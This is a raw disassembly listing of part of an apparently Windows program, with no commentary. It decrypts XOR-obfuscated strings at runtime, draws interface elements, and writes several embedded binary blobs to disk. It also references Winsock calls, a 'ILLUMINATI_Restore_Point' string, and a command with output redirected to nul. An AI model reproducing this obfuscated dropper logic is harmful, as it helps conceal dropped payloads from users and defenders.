mov byte [rbp], al
xor r8d, r8d
mov byte [rbp], al
mov edx, 0x64
movabs rax, 0xb925cdcbb7fb9921
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d30], rcx
mov qword [rbp + 0x10], rsi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d38], rcx
lea rcx, [rbp + 0x1d50]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d40], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1d30]
mov qword [rbp + 0x1d48], rax
xorps xmm0, xmmword [rbp + 0x1d40]
movdqa xmmword [rbp + 0x1d30], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f520]
lea rcx, [rbp + 0x8e0]
movss xmm1, dword [0x14016f620]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2278]
lea rcx, [rbp + 0x1d30]
mov qword [rsp + 0x40], r14
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x9957a8add894e936
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a12f4dedaf2
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d60], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d68], rcx
lea rcx, [rbp + 0x1d80]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d70], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d78], rax
movdqa xmm0, xmmword [rbp + 0x1d70]
xorps xmm0, xmmword [rbp + 0x1d60]
movdqa xmmword [rbp + 0x1d60], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f520]
lea rcx, [rbp + 0x8e8]
movss xmm1, dword [0x14016f628]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x1d60]
mov qword [rsp + 0x40], r14
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1d90]
mov edx, 0x46
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x8f0]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x14016f61c]
addss xmm1, dword [0x14016f63c]
call fcn.140001d60
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x8f8]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x14016f5b4]
addss xmm1, dword [0x14016f620]
call fcn.140001d60
movss xmm0, dword [0x14016f4a4]
mov r9d, edi
movss dword [rsp + 0x30], xmm7
mov r8, rbx
mov dword [rsp + 0x28], r14d
mov rdx, rax
movss dword [rsp + 0x20], xmm0
mov rcx, rsi
call fcn.140024290
movss xmm2, dword [0x14016f5c4]
lea rcx, [rbp + 0x900]
movss xmm1, dword [0x14016f624]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
call fcn.1400172a0
xor eax, eax
lea rdx, [0x140184124]
mov byte [rbp], al
lea rcx, [rbp + 0x1da0]
mov byte [rbp], al
movabs rsi, 0xb925cdcbb7fb9965
mov byte [rbp], al
movabs rdi, 0x729e6a1287b9b5be
movabs rax, 0xea05a1aada89f62b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1da0], rax
movabs rax, 0x72f9047be1d6dace
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1da8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1db0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1db8], rax
movdqa xmm0, xmmword [rbp + 0x1db0]
xorps xmm0, xmmword [rbp + 0x1da0]
movdqa xmmword [rbp + 0x1da0], xmm0
call fcn.140032a70
xor eax, eax
lea rdx, [0x1403a27dc]
mov byte [rbp], al
lea rcx, [rbp + 0x1dc0]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x9915e3f997b6c931
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1dc0], rax
movabs rax, 0x729e1961e6c9ccfc
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1dc8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1dd0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1dd8], rax
movdqa xmm0, xmmword [rbp + 0x1dd0]
xorps xmm0, xmmword [rbp + 0x1dc0]
movdqa xmmword [rbp + 0x1dc0], xmm0
call fcn.140032a70
xor eax, eax
lea rdx, reloc.WS2_32.dll_accept
mov byte [rbp], al
lea rcx, [rbp + 0x1de0]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xd64abd989798f828
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1de0], rax
movabs rax, 0x729e6a12e0d7dcd8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1de8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1df0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1de0]
mov qword [rbp + 0x1df8], rax
xorps xmm0, xmmword [rbp + 0x1df0]
movdqa xmmword [rbp + 0x1de0], xmm0
call fcn.140032a70
call fcn.140017400
jmp 0x140057593
xor r14d, r14d
cmp dword [0x1403a2288], 0xc
jne 0x140072ca4
movss xmm2, dword [0x14016f574]
lea rcx, [rbp + 0x908]
movss xmm1, dword [0x14016f5d4]
addss xmm12, dword [0x14016f468]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
mov edx, 0xff
mov dword [rsp + 0x20], r14d
mov r9d, edx
lea rcx, [rbp + 0x1e00]
mov r8d, edx
call fcn.140030420
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1e10]
mov edx, 0x64
mov rbx, rax
call fcn.140030420
movss xmm2, dword [0x14016f4b4]
mov r9, rax
xor eax, eax
mov dword [rsp + 0x38], r14d
mov byte [rbp], al
movaps xmm1, xmm6
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb942a3a2d39af629
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1e20], rcx
mov qword [rbp + 0x10], rdi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1e28], rcx
lea rcx, [rbp + 0x1e20]
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e30], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1e20]
mov qword [rbp + 0x1e38], rax
xorps xmm0, xmmword [rbp + 0x1e30]
movdqa xmmword [rbp + 0x1e20], xmm0
movss xmm0, dword [0x14016f4ac]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x14016f4c0]
movss dword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rbx
call fcn.14003d9a0
movss xmm2, dword [0x14016f594]
lea rcx, [rbp + 0x910]
movss xmm1, dword [0x14016f5b0]
call fcn.140001d60
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1e40]
mov r8d, edx
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.140030420
movabs rbx, 0xdaf40e281c80c3c8
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xde4ba4add894e936
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2600], rax
movabs rax, 0x16fb1e60e6cde69e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2608], rax
movabs rax, 0xd106f6115ac3133d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2610], rax
movss xmm3, dword [0x14016f478]
lea r8, [rbp + 0x10]
mov qword [rbp + 0x10], rbx
lea rdx, [rbp + 0x2600]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2618], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2620], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2628], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2630], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1403a2268]
unpcklps xmm6, xmm7
mov qword [rbp + 0x2638], rax
vmovdqu ymm0, ymmword [rbp + 0x2620]
vpxor ymm1, ymm0, ymmword [rbp + 0x2600]
vmovss xmm0, dword [0x14016f4ec]
vmovss dword [rsp + 0x28], xmm0
vmovsd qword [rsp + 0x20], xmm6
vmovdqa ymmword [rbp + 0x2600], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vzeroupper
call fcn.14004c590
lea rdx, str.ILLUMINATI_Restore_Point
lea rcx, [rbp + 0x2640]
call fcn.14007a170
comiss xmm12, dword [0x14016f630]
jbe 0x140072c98
lea rcx, [rbp + 0x2640]
call fcn.140049fb0
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140072260
xor eax, eax
movabs rcx, 0xfe19a10069133410
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb972cd97b7c19926
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cc0], rax
movabs rax, 0x72f16a7687d7b5d7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cc8], rax
movabs rax, 0xd155f64d5ab01340
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cd0], rax
movabs rax, 0xda910e5c1cf3c3b1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cd8], rax
movabs rax, 0xcacfdb2dfa509534
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ce0], rax
movabs rax, 0xe0df3743c9ca2c45
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ce8], rax
movabs rax, 0x233009040dc1def7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cf0], rax
movabs rax, 0x524c49fd6c27bee7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cf8], rax
movabs rax, 0xaff6f326e1ab1f0c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d00], rax
movabs rax, 0x52a117bedbb20543
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d08], rax
movabs rax, 0xa2c05f8c7263051a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d10], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d18], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d20], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d28], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d30], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d38], rax
movabs rax, 0xca93db1ffa639559
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d40], rax
movabs rax, 0xe0b23726c9a82c32
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d48], rax
movabs rax, 0x234309650db5deab
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d50], rax
movabs rax, 0x5222499c6c4abe8c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d58], rax
movabs rax, 0xaf9bf343e1cc1f6d
lea rdx, [rbp + 0x4cc0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d60], rax
movabs rax, 0x528f17cadbdc0526
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d68], rax
movabs rax, 0xa2c05fe9721b057f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d70], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x2660]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4d20]
vpxor ymm1, ymm0, ymmword [rbp + 0x4cc0]
vmovdqu ymm0, ymmword [rbp + 0x4d40]
vmovdqa ymmword [rbp + 0x4cc0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x4ce0]
vmovdqa ymmword [rbp + 0x4ce0], ymm1
mov qword [rbp + 0x4d78], rax
vmovdqu ymm0, ymmword [rbp + 0x4d60]
vpxor ymm1, ymm0, ymmword [rbp + 0x4d00]
vmovdqa ymmword [rbp + 0x4d00], ymm1
vzeroupper
call fcn.14007a170
mov r8d, 0x5e670
lea rdx, [0x1401fe540]
lea rcx, [rbp + 0x2660]
call fcn.140047c20
lea rcx, [rbp + 0x2660]
call fcn.14003ec20
xor eax, eax
movabs rdx, 0xa2c05fe9721b057f
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb972cd97b7c19926
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d80], rax
movabs rax, 0x72f16a7687d7b5d7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d88], rax
movabs rax, 0xd155f64d5ab01340
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d90], rax
movabs rax, 0xda910e5c1cf3c3b1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4d98], rax
movabs rax, 0xcacfdb2dfa509534
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4da0], rax
movabs rax, 0xe0df3743c9ca2c45
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4da8], rax
movabs rax, 0x232a09080dd4def7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4db0], rax
movabs rax, 0x524649f26c2fbeeb
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4db8], rax
movabs rax, 0xafaff375e1ba1f1f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4dc0], rax
movabs rax, 0x52fc17b3dbaf0508
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4dc8], rax
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4dd0], rax
movabs rcx, 0xfe19a10069133410
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4dd8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4de0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4de8], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4df0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4df8], rax
movabs rax, 0xca93db1ffa639559
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e00], rax
movabs rax, 0xe0b23726c9a82c32
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e08], rax
movabs rax, 0x234309650db5deab
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e10], rax
movabs rax, 0x5222499c6c4abe8c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e18], rax
movabs rax, 0xaf9bf343e1cc1f6d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e20], rax
movabs rax, 0x528f17cadbdc0526
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e28], rax
mov qword [rbp + 0x10], rdx
lea rdx, [rbp + 0x4d80]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e30], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x2680]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4de0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4d80]
vmovdqu ymm0, ymmword [rbp + 0x4e00]
vmovdqa ymmword [rbp + 0x4d80], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x4da0]
vmovdqa ymmword [rbp + 0x4da0], ymm1
mov qword [rbp + 0x4e38], rax
vmovdqu ymm0, ymmword [rbp + 0x4e20]
vpxor ymm1, ymm0, ymmword [rbp + 0x4dc0]
vmovdqa ymmword [rbp + 0x4dc0], ymm1
vzeroupper
call fcn.14007a170
mov r8d, 0x8788
lea rdx, [0x1401ad770]
lea rcx, [rbp + 0x2680]
call fcn.140047c20
lea rcx, [rbp + 0x2680]
call fcn.14003ec20
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb972cd97b7c19926
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e40], rax
movabs rax, 0x72f16a7687d7b5d7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e48], rax
movabs rax, 0xd155f64d5ab01340
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
lea rdx, [rbp + 0x4e40]
mov qword [rbp + 0x4e50], rax
lea rcx, [rbp + 0x26a0]
movabs rax, 0xda910e5c1cf3c3b1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e58], rax
movabs rax, 0xcacfdb2dfa509534
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e60], rax
movabs rax, 0xe0df3743c9ca2c45
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e68], rax
movabs rax, 0x232a09080dd4def7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e70], rax
movabs rax, 0x525049f86c26beea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e78], rax
movabs rax, 0xafb5f377e1fa1f1b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e80], rax
movabs rax, 0x528f17b9dba50555
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4e88], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4520], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4528], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4530], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4538], rax
movabs rax, 0xca93db1ffa639559
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4540], rax
movabs rax, 0xe0b23726c9a82c32
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4548], rax
movabs rax, 0x234309650db5deab
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4550], rax
movabs rax, 0x5222499c6c4abe8c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4558], rax
movabs rax, 0xaf9bf343e1cc1f6d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4560], rax
movabs rax, 0x528f17cadbdc0526
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4520]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e40]
vmovdqa xmm2, xmmword [rbp + 0x4e80]
vmovdqu ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x4e40], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x4e60]
mov qword [rbp + 0x4568], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x4560]
vmovdqa ymmword [rbp + 0x4e60], ymm1
vmovdqa xmmword [rbp + 0x4e80], xmm2
vzeroupper
call fcn.14007a170
mov r8d, 0x7180
lea rdx, [0x1401f73c0]
lea rcx, [rbp + 0x26a0]
call fcn.140047c20
lea rcx, [rbp + 0x26a0]
call fcn.14003ec20
xor eax, eax
movabs rdx, 0xa2c05fe9721b057f
mov byte [rbp], al
movabs rcx, 0xfe19a10069133410
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb972cd97b7c19926
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ea0], rax
movabs rax, 0x72f16a7687d7b5d7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ea8], rax
movabs rax, 0xd155f64d5ab01340
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4eb0], rax
movabs rax, 0xda910e5c1cf3c3b1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4eb8], rax
movabs rax, 0xcacfdb2dfa509534
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ec0], rax
movabs rax, 0xe0df3743c9ca2c45
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ec8], rax
movabs rax, 0x2330090c0df1def7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ed0], rax
movabs rax, 0x524c49fd6c27bee7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ed8], rax
movabs rax, 0xaff5f32ee1b81f0a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ee0], rax
movabs rax, 0x52ea17b2dbb90508
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ee8], rax
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ef0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ef8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f00], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f08], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f10], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f18], rax
movabs rax, 0xca93db1ffa639559
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f20], rax
movabs rax, 0xe0b23726c9a82c32
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f28], rax
movabs rax, 0x234309650db5deab
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f30], rax
movabs rax, 0x5222499c6c4abe8c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f38], rax
movabs rax, 0xaf9bf343e1cc1f6d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f40], rax
movabs rax, 0x528f17cadbdc0526
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f48], rax
mov qword [rbp + 0x10], rdx
lea rdx, [rbp + 0x4ea0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f50], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x26c0]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4f00]
vpxor ymm1, ymm0, ymmword [rbp + 0x4ea0]
vmovdqu ymm0, ymmword [rbp + 0x4f20]
vmovdqa ymmword [rbp + 0x4ea0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x4ec0]
vmovdqa ymmword [rbp + 0x4ec0], ymm1
mov qword [rbp + 0x4f58], rax
vmovdqu ymm0, ymmword [rbp + 0x4f40]
vpxor ymm1, ymm0, ymmword [rbp + 0x4ee0]
vmovdqa ymmword [rbp + 0x4ee0], ymm1
vzeroupper
call fcn.14007a170
mov r8d, 0x296b0
lea rdx, [0x14027fdd0]
lea rcx, [rbp + 0x26c0]
call fcn.140047c20
lea rcx, [rbp + 0x26c0]
call fcn.14003ec20
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x26e0]
call fcn.140049e80
xor eax, eax
lea rdx, [rbp + 0x3550]
lea rcx, [rbp + 0x23]
mov byte [rbp + 0x23], al
call fcn.140073290
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140058451
mov r8d, r14d
cmp r15d, 2
jl 0x140058413
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140058320
cmp r8d, 0x32
jge 0x140058451
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140058420
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2700]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2720]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
